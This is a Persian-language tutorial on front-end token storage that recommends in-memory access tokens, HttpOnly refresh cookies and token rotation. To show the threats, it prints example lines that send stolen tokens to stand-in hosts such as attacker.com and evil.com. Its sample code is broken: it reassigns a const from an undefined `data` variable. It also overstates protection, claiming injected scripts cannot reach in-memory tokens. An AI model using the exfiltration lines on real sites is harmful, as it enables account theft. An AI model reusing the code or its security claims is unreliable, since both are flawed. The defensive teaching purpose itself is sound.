امنیت توکنها و بهترین روشهای نگهداری آنها در فرانتاند
مشکل اصلی: localStorage یک فاجعه امنیتی است
localStorage و sessionStorage کاملاً ناامن هستند چون:
۱. قربانی XSS (Cross-Site Scripting)
یک تزریق کوچک کد برای سرقت توکن کافی است. مهاجم با یک خط کد میتواند توکن را بدزدد:
fetch("https://attacker.com/steal?token=" + localStorage.getItem("access"));
این یک بار اتفاق بیفتد، کل حساب کاربر در خطر است.
۲. دسترسی آزاد برای تمام اسکریپتها
localStorage هیچ محدودیتی ندارد. هر اسکریپت، داخلی یا خارجی، میتواند توکن را بخواند. بر خلاف کوکیهای امن، localStorage هیچ ویژگی حفاظتی نظیر HttpOnly یا Secure ندارد.
۳. خطر کتابخانههای خارجی (CDN)
اگر یک کتابخانه JavaScript که از CDN بارگذاری میشود هک شود، تمام کاربران شما در خطر هستند. مهاجم میتواند بدون تغییر در کد سمت سرور، توکنهای همهٔ کاربران را بدزدد:
const token = localStorage.getItem("jwt");
new Image().src = "https://evil.com/" + token;
۴. افزونههای مرورگر
بسیاری از افزونههای مرورگر دسترسی وسیع به دادههای محلی دارند و میتوانند localStorage را بخوانند. حتی افزونههای بهظاهر مفید نیز میتوانند بدافزار باشند.
آیا sessionStorage راهحل است؟
خیر. sessionStorage همان نقاط ضعف localStorage را دارد. تنها تفاوت این است که پس از بستن تب، حذف میشود اما این ربطی به امنیت در این مقاله ندارد. هنوز هم کاملاً در معرض XSS و سرقت است.
✅ راهحل: In-Memory + HttpOnly Cookie
معماری امن از سه بخش تشکیل شده است که هریک نقش خاصی ایفا میکند:
بخش ۱: Access Token (حافظهٔ برنامه)
let accessToken = null;
function setAccessToken(token) {
accessToken = token;
}
چرا این روش امن است؟
- موقت: پس از رفرش صفحه یا بستن برنامه، خودکار پاک میشود
- محفوظ از XSS: توکن در حافظهٔ برنامه است و وارد localStorage نمیشود، بنابراین اسکریپتهای خارجی نمیتوانند دسترسی داشته باشند
- کوتاهمدت: کوتاهمدت: معمولاً فقط برای ۱۵ تا ۳۰ دقیقه معتبر است؛ بنابراین اگر دزدیده شود، خسارت زیادی وارد نمیکند.
نکتهٔ کلیدی: نکتهٔ مهم: Access Token باید عمر کوتاهی داشته باشد. چون اگر کسی آن را بدزدد، فقط برای مدت کمی میتواند از آن استفاده کند.
بخش ۲: Refresh Token (HttpOnly Cookie)
سمت سرور:
res.cookie("refresh", token, {
httpOnly: true, // جاوااسکریپت نمیتواند این کوکی را بخواند
secure: true, // فقط از طریق HTTPS ارسال شود
sameSite: "Strict" // تنها برای درخواستهای همان دامنه ارسال شود
});
چرا HttpOnly Cookie؟
- کوکیهای httpOnly از دسترسی جاوااسکریپت محافظت میشوند: وقتی
httpOnly: trueتنظیم شود، هیچ اسکریپت جاوااسکریپتی نمیتواند این کوکی را بخواند یا تغییر دهد. در عوض، مرورگر بهطور خودکار این کوکیها را در هر درخواست HTTP به سرور ارسال میکند، بدون نیاز به دخالت کد جاوااسکریپتی. - فقط سرور کنترل دارد: این توکن فقط سمت سرور ذخیره و تأیید میشود
- SameSite Protection: این تنظیم مانع حملات CSRF (Cross-Site Request Forgery) میشود
مثال عملی: وقتی شما درخواستی به سرور میفرستید، مرورگر خودکار این Refresh Token را در درخواست قرار میدهد:
// کلاینت این کد را مینویسد
fetch("/api/user", {
credentials: "include" // کوکیها خودکار ارسال شوند
});
// مرورگر خودکار انجام میدهد:
// Cookie: refresh=abc123xyz
بخش ۳: Token Rotation (نوسازی امن توکن)
هر بار که Refresh Token استفاده شود:
- توکن قبلی بیاعتبار میشود
- یک Refresh Token جدید صادر میشود
- کلاینت یک Access Token تازه دریافت میکند
async function refreshToken() {
const res = await fetch("/auth/refresh", {
method: "POST",
credentials: "include" // کوکی خودکار ارسال شود
});
const { accessToken } = await res.json();
accessToken = data.accessToken; // در حافظه ذخیره کن
}
چرا Token Rotation؟
- Refresh Token دزدیدهشده بیاستفاده میشود: اگر مهاجم توکن قبلی را بهدست بیاورد، دیگر قابل استفاده نیست.
- دارای محدودیت زمانی: هر Refresh Token فقط تا مدت مشخصی (مثلاً ۷ روز) معتبر میماند.
- امکان شناسایی حملات: اگر سرور برای یک توکن دو درخواست از IP های متفاوت دریافت کند، متوجه میشود که احتمالاً حساب قربانی حمله شده است.
🔄 چرخه کامل احراز هویت
۱. ورود (Login)
سمت سرور - دو توکن صادر میکند:
res.cookie("refresh", refreshToken, {
httpOnly: true,
secure: true
});
res.json({ accessToken });
سمت کلاینت - Access Token را در حافظه نگهداری میکند:
const response = await fetch("/auth/login", {
method: "POST",
body: JSON.stringify({ username, password })
});
const { accessToken } = await response.json();
accessToken = data.accessToken; // فقط در حافظه، نه localStorage
۲. درخواست معمولی API
fetch("/api/user", {
headers: {
Authorization: `Bearer ${accessToken}`
}
});
سرور این Access Token را بررسی میکند. اگر معتبر باشد، داده را برمیگرداند.
۳. اگر Access Token منقضی شد
سرور خطای 401 Unauthorized برمیگرداند:
async function makeAuthenticatedRequest(url) {
let response = await fetch(url, {
headers: { Authorization: `Bearer ${accessToken}` }
});
// اگر توکن منقضی است
if (response.status === 401) {
// Refresh کن
await refreshToken();
// دوباره سعی کن
response = await fetch(url, {
headers: { Authorization: `Bearer ${accessToken}` }
});
}
return response.json();
}
۴. خروج امن (Logout)
await fetch("/auth/logout", {
method: "POST",
credentials: "include" // Refresh Token فرستاده شود
});
accessToken = null; // حافظه پاک شود
سمت سرور:
- Refresh Token در کوکی باطل میشود
- دیگر این کوکی قابل استفاده نیست
🚨 حملات واقعی و دفاع
حمله۱: XSS (تزریق اسکریپت)
روش حملاتی:
<script>
location.href = "https://evil.com/?token=" + localStorage.token;
</script>
مهاجم اسکریپت خطرناک را در سایت تزریق میکند و توکن را میدزدد.
دفاع با معماری ما:
- ✅ Access Token فقط در حافظهٔ برنامه است، نه در localStorage
- ✅ اسکریپت خارجی نمیتواند به حافظهٔ برنامه دسترسی داشته باشد
- ✅ Refresh Token در HttpOnly Cookie است، کاملاً در امان
حمله۲: CDN آلوده
روش حملاتی:
شما یک کتابخانهٔ از CDN استفاده میکنید (مثل analytics.js). CDN هک میشود و کد بدی تزریق میشود:
// کد خطرناک در کتابخانهٔ هک شدهٔ CDN
const t = localStorage.jwt;
sendToHacker(t);
اگر تمام کاربران localStorage استفاده میکردند، همه توکنهایشان سرقت میشدند.
دفاع با معماری ما:
- ✅ localStorage استفاده نمیشود
- ✅ توکن فقط در حافظهٔ برنامه است
- ⚠️ Refresh Token در HttpOnly است — مهاجم نمیتواند دسترسی داشته باشد
حمله۳: افزونهٔ مرورگر مخرب
روش حملاتی: کاربر یک افزونهٔ بدافزار نصب میکند. این افزونه دسترسی به تمام دادههای محلی سایتها دارد:
// کد افزونه
send(localStorage.getItem("jwt"));
دفاع با معماری ما:
- ✅ localStorage استفاده نمیشود
- ✅ Refresh Token در HttpOnly است — حتی افزونه نمیتواند دسترسی داشته باشد
- ✅ Access Token موقت است — آسیب محدود
✔️ خلاصه قوانین طلایی
❌ localStorage / sessionStorage برای توکن = فاجعه امنیتی
✅ Access Token = حافظهٔ برنامه (کوتاهمدت، ۱۵-۳۰ دقیقه)
✅ Refresh Token = HttpOnly Cookie (بلندمدت، ۷ روز)
✅ Token Rotation = هر استفاده از Refresh Token، توکن جدید صادر شود
✅ Credentials Include = `credentials: "include"` درخواستها میں
✅ XSS Prevention = اولویت اول فرانتاند
⚠️ یادآوری مهم: امنیت یک مقصد نهایی نیست
معماری In-Memory + HttpOnly Cookie + Token Rotation در حال حاضر یکی از امنترین روشهای موجود است — اما هیچ سیستمی ۱۰۰٪ امن نیست.
ما فقط در برابر حملاتی دفاع میکنیم که امروز میشناسیم. حملات ناشناخته یا تکنیکهایی که فردا ابداع میشوند همیشه یک احتمال هستند.
تست و نظارت مداوم، حیاتی است
- تست امنیتی دورهای: انجام Penetration Testing هر سه ماه یکبار
- بررسی سناریوهای خطر: اگر Refresh Token دزدیده شود؟ اگر XSS رخ دهد؟ اگر سرور compromise شود؟
- نظارت فعال: ثبت و تحلیل مداوم لاگهای احراز هویت و شناسایی رفتارهای مشکوک
- بهروزرسانی سریع: در صورت کشف هر آسیبپذیری، فوراً آن را برطرف کنید
امنیت یک مسیر دائمی است، نه یک نقطهٔ پایان.
بنابراین همیشه روند نظارت، تست و بهبود را ادامه دهید.
📝 نتیجهگیری
با استفاده از این معماری:
✅ کیفیت سازمانی (Enterprise-Grade): امنیت سیستم احراز هویت شما در حد بانکها و شرکتهای بزرگ خواهد بود.
✅ کنترل کامل سمت سرور: تمام فرآیند احراز هویت تحت مدیریت سرور باقی میماند.
✅ مقاومت بالا در برابر XSS: حتی اگر اسکریپت مخرب تزریق شود، مهاجم به توکنها دسترسی نخواهد داشت.
✅ احتمال نشت توکن بسیار ناچیز: هر توکن چندین لایه محافظتی دارد.
✅ آمادهٔ استقرار در محیط واقعی (Production-Ready): این معماری در سرویسهای بزرگ و مطرح دنیا استفاده میشود.
✅ این روش یک استاندارد صنعتی است و توسط OAuth 2.0 و OpenID Connect بهعنوان الگوی پیشنهادی امنیتی معرفی شده است.
